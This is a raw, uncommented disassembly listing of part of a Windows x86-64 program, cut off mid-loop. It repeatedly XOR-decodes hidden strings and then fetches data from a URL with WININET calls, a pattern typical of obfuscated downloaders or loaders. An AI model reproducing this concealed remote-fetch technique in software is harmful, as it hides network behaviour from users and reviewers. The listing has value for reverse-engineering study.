call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
movaps xmmword [rsp + 0x3c20], xmm7
lea rcx, [rbp + 0xb20]
lea rdi, [0x140000000]
mov r8d, r12d
lea rax, [rdi + 0x3f28e0]
movups xmm0, xmmword [rax]
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rcx], xmm0
movups xmm0, xmmword [rax + 0x20]
movups xmmword [rcx + 0x10], xmm1
movups xmm1, xmmword [rax + 0x30]
movups xmmword [rcx + 0x20], xmm0
movups xmm0, xmmword [rax + 0x40]
movups xmmword [rcx + 0x30], xmm1
movups xmm1, xmmword [rax + 0x50]
movups xmmword [rcx + 0x40], xmm0
movups xmm0, xmmword [rax + 0x60]
movups xmmword [rcx + 0x50], xmm1
movups xmm1, xmmword [rax + 0x80]
movups xmmword [rcx + 0x60], xmm0
movups xmm0, xmmword [rax + 0x70]
movups xmmword [rcx + 0x70], xmm0
movups xmm0, xmmword [rax + 0x90]
movups xmmword [rcx + 0x80], xmm1
movups xmm1, xmmword [rax + 0xa0]
mov rax, qword [rax + 0xb0]
movups xmmword [rcx + 0x90], xmm0
movups xmmword [rcx + 0xa0], xmm1
mov qword [rcx + 0xb0], rax
cmp r15d, 2
jl 0x1402ba009
movdqa xmm5, xmmword [0x1403f45a0]
lea rcx, [rbp + 0xb20]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmm7, xmmword [0x1403f4620]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x58
jl 0x1402b9f10
cmp r8d, 0x5c
jge 0x1402ba058
movsxd rax, r8d
lea r9, [rbp + 0xb20]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x39
xor word [r9 - 2], ax
cmp r8d, 0x5c
jl 0x1402ba020
mov qword [rsp + 0x28], r12
lea rdx, [rbp + 0xb20]
xor r9d, r9d
mov dword [rsp + 0x20], 0x80400100
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rsi, rax
test rax, rax
jne 0x1402ba3d1
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [rbp - 6]
mov byte [rsp + 0x62], r12b
lea rcx, [rsp + 0x62]
call fcn.1402c5890
mov rbx, rax
cmp byte [rax + 0xb], r12b
je 0x1402ba204
mov r13d, r12d
cmp r15d, 2
jl 0x1402ba1bf
movdqa xmm2, xmmword [0x1403f45a0]
mov r13d, 8
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm2, xmm0
movd dword [rbx + 4], xmm2
movsxd r8, r13d
add r8, rbx
nop word [rax + rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul r13d
add edx, r13d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r13b
inc r13d
sub al, cl
add al, 0x39
xor byte [r8 - 1], al
cmp r13d, 0xc
jl 0x1402ba1d0
lea rdx, [rbp + 0x10]
mov byte [rsp + 0x63], r12b
lea rcx, [rsp + 0x63]
call fcn.1402c58e0
mov r10, rax
cmp byte [rax + 0x12], r12b
je 0x1402ba3b4
cmp r15d, 2
jl 0x1402ba372
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r12d
lea eax, [r12 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r12d, 8
pmuldq xmm1, xmm4
mov eax, r12d
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r12d, 0x10
jl 0x1402ba260
cmp eax, 0x13
jge 0x1402ba3b4
movsxd r8, r12d
add r8, r10
nop dword [rax + rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul r12d
add edx, r12d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r12b
inc r12d
sub al, cl
add al, 0x39
xor byte [r8 - 1], al
cmp r12d, 0x13
jl 0x1402ba380
mov r9d, reloc.WS2_32.dll_recv
mov r8, rbx
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea r9, [rbp + 0x2d4]
mov r8d, 0x400
lea rdx, [rbp + 0x32a0]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1402ba741
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [rbp - 6]
mov byte [rsp + 0x62], r12b
lea rcx, [rsp + 0x62]
call fcn.1402c5890
mov rbx, rax
cmp byte [rax + 0xb], r12b
je 0x1402ba574
mov r13d, r12d
cmp r15d, 2
jl 0x1402ba537
movdqa xmm2, xmmword [0x1403f45a0]
mov r13d, 8
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm2, xmm0
movd dword [rbx + 4], xmm2
movsxd r8, r13d
add r8, rbx
nop dword [rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul r13d
add edx, r13d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r13b
inc r13d
sub al, cl
add al, 0x39
xor byte [r8 - 1], al
cmp r13d, 0xc
jl 0x1402ba540
lea rdx, [rbp + 0x10]
mov byte [rsp + 0x63], r12b
lea rcx, [rsp + 0x63]
call fcn.1402c5910
mov r10, rax
cmp byte [rax + 0x12], r12b
je 0x1402ba724
cmp r15d, 2
jl 0x1402ba6e2
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r12d
lea eax, [r12 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r12d, 8
pmuldq xmm1, xmm4
mov eax, r12d
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r12d, 0x10
jl 0x1402ba5d0
cmp eax, 0x13
jge 0x1402ba724
movsxd r8, r12d
add r8, r10
nop dword [rax + rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul r12d
add edx, r12d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r12b
inc r12d
sub al, cl
add al, 0x39
xor byte [r8 - 1], al
cmp r12d, 0x13
jl 0x1402ba6f0
mov r9d, reloc.WS2_32.dll_recv
mov r8, rbx
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rdx, [rbp + 0x32a0]
movaps xmmword [rsp + 0x3bc0], xmm13
lea rcx, [rbp + 0x938]
call fcn.1402c7cc0
xor edx, edx
lea rcx, [rbp + 0x938]
call fcn.140044110
movss xmm13, dword [0x1403f436c]
ucomiss xmm0, xmm13
jp 0x1402ba77c
je 0x1402ba787
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rdi + 0x3f2030]
mov r8d, r12d
mov eax, dword [rcx + 0xb0]
lea rdx, [rbp + 0x380]
lea rdx, [rdx + 0x80]
movups xmm0, xmmword [rcx]
movups xmm1, xmmword [rcx + 0x10]
movups xmmword [rdx - 0x80], xmm0
movups xmm0, xmmword [rcx + 0x20]
movups xmmword [rdx - 0x70], xmm1
movups xmm1, xmmword [rcx + 0x30]
movups xmmword [rdx - 0x60], xmm0
movups xmm0, xmmword [rcx + 0x40]
movups xmmword [rdx - 0x50], xmm1
movups xmm1, xmmword [rcx + 0x50]
movups xmmword [rdx - 0x40], xmm0
movups xmm0, xmmword [rcx + 0x60]
movups xmmword [rdx - 0x30], xmm1
movups xmm1, xmmword [rcx + 0x70]
movups xmmword [rdx - 0x20], xmm0
movups xmm0, xmmword [rcx + 0x80]
movups xmmword [rdx - 0x10], xmm1
movups xmm1, xmmword [rcx + 0x90]
movups xmmword [rdx], xmm0
movups xmm0, xmmword [rcx + 0xa0]
movups xmmword [rdx + 0x10], xmm1
movups xmmword [rdx + 0x20], xmm0
mov dword [rdx + 0x30], eax
movzx eax, word [rcx + 0xb4]
mov word [rdx + 0x34], ax
cmp r15d, 2
jl 0x1402ba949
movdqa xmm5, xmmword [0x1403f45a0]
lea rcx, [rbp + 0x380]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmm7, xmmword [0x1403f4620]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
xorps xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm7
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
xorps xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp r8d, 0x58
jl 0x1402ba850
cmp r8d, 0x5b
jge 0x1402ba998
movsxd rax, r8d
lea r9, [rbp + 0x380]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x92492493
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x38
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x39
xor word [r9 - 2], ax
cmp r8d, 0x5b
jl 0x1402ba960
mov qword [rsp + 0x28], r12
lea rdx, [rbp + 0x380]
xor r9d, r9d
mov dword [rsp + 0x20], 0x80400100
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov r14, rax
test rax, rax
jne 0x1402bad11
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [rbp - 6]
mov byte [rsp + 0x62], r12b
lea rcx, [rsp + 0x62]
call fcn.1402c5890
mov rbx, rax
cmp byte [rax + 0xb], r12b
je 0x1402bab44
mov r13d, r12d
cmp r15d, 2
jl 0x1402bab08
movdqa xmm2, xmmword [0x1403f45a0]
mov r13d, 8
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm2, xmm0
movd dword [rbx + 4], xmm2
movsxd r8, r13d
add r8, rbx
nop
mov eax, 0x92492493
lea r8, [r8 + 1]
imul r13d
add edx, r13d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r13b
inc r13d
sub al, cl
add al, 0x39
xor byte [r8 - 1], al
cmp r13d, 0xc
jl 0x1402bab10
lea rdx, [rbp + 0x10]
mov byte [rsp + 0x63], r12b
lea rcx, [rsp + 0x63]
call fcn.1402c5940
mov r10, rax
cmp byte [rax + 0x15], r12b
je 0x1402bacf4
cmp r15d, 2
jl 0x1402bacb2
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r12d
lea eax, [r12 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r12d, 8
pmuldq xmm1, xmm4
mov eax, r12d
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r12d, 0x10
jl 0x1402baba0
cmp eax, 0x16
jge 0x1402bacf4
movsxd r8, r12d
add r8, r10
nop dword [rax + rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul r12d
add edx, r12d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r12b
inc r12d
sub al, cl
add al, 0x39
xor byte [r8 - 1], al
cmp r12d, 0x16
jl 0x1402bacc0
mov r9d, reloc.WS2_32.dll_recv
mov r8, rbx
mov rdx, r10
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea r9, [rbp + 0x2d0]
mov r8d, 0x400
lea rdx, [rbp + 0x36a0]
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x1402bb091
mov rcx, r14
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [rbp - 6]
mov byte [rsp + 0x62], r12b
lea rcx, [rsp + 0x62]
call fcn.1402c5890
mov rbx, rax
cmp byte [rax + 0xb], r12b
je 0x1402baec4
mov r13d, r12d
cmp r15d, 2
jl 0x1402bae80
movdqa xmm2, xmmword [0x1403f45a0]
mov r13d, 8
movdqa xmm3, xmmword [0x1403f45c0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm0, xmm2
mov eax, dword [0x1403f4680]
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [rbx]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rbx], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1403f45d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, eax
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm2, xmm0
movd dword [rbx + 4], xmm2
movsxd r8, r13d
add r8, rbx
nop word [rax + rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul r13d
add edx, r13d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x38
movzx eax, r13b
inc r13d
sub al, cl
add al, 0x39
xor byte [r8 - 1], al
cmp r13d, 0xc
jl 0x1402bae90
lea rdx, [rbp + 0x10]
mov byte [rsp + 0x63], r12b
lea rcx, [rsp + 0x63]
call fcn.1402c5970
mov r10, rax
cmp byte [rax + 0x15], r12b
je 0x1402bb074
cmp r15d, 2
jl 0x1402bb032
movdqa xmm0, xmmword [0x1403f4680]
mov rcx, rax
movdqa xmm5, xmmword [0x1403f45a0]
movdqa xmm4, xmmword [0x1403f4810]
movdqa xmm6, xmmword [0x1403f45d0]
movdqa xmmword [rbp - 0x60], xmm0
mov edx, dword [rbp - 0x60]
nop dword [rax]
movd xmm2, r12d
lea eax, [r12 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r12d, 8
pmuldq xmm1, xmm4
mov eax, r12d
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1403f4630]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
